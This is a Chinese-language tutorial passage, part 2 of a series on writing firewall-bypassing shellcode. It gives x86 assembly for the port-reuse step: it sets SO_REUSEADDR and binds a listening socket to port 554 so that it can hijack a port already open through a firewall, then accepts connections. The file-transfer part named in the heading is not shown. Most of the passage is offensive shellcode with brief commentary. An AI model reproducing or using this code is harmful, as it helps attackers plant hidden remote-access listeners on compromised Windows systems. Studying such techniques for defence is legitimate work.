编写和应用穿墙Shellcode(2)
端口复用和文件传送的汇编实现
端口复用的部分代码如下:
push esi
push 2
call [ebp + 40h] //WSAStartup
push 6 //IPPROTO_TCP
push 1 //SOCK_STREAM
push 2 //AF_INET
call [ebp + 44h] //socket创建套接字
mov [ebp + 28h], eax
push 4
mov dword ptr[esi + 400], 1
lea eax, [esi + 400] //存放optval, 占4字节
push eax
push 4 //SO_REUSEADDR
push 0xffff //SOL_SOCKET
push [ebp + 28h]
call [ebp + 48h] //setsockopt
mov word ptr[esi + 404], 2 //AF_INET
mov word ptr[esi + 406], 0x2A02 //htons(554) 2803(808)
mov dword ptr[esi + 408], 0 //ADDR_ANY
push 16
lea eax, [esi + 404]
push eax
push [ebp + 28h]
call [ebp + 4ch] //bind
push 2
push [ebp + 28h]
call [ebp + 50h] //listen
mov dword ptr[esi + 436], 16
lea eax, [esi + 436]
push eax
lea eax, [esi + 420]
push eax
push [ebp + 28h]
call [ebp + 54h] //accept
其实上述实现过程就如同创建普通的网络服务程序一样,只是在为某些函数实参和返回值分配内存的时候应该注意不要发生地址重合了。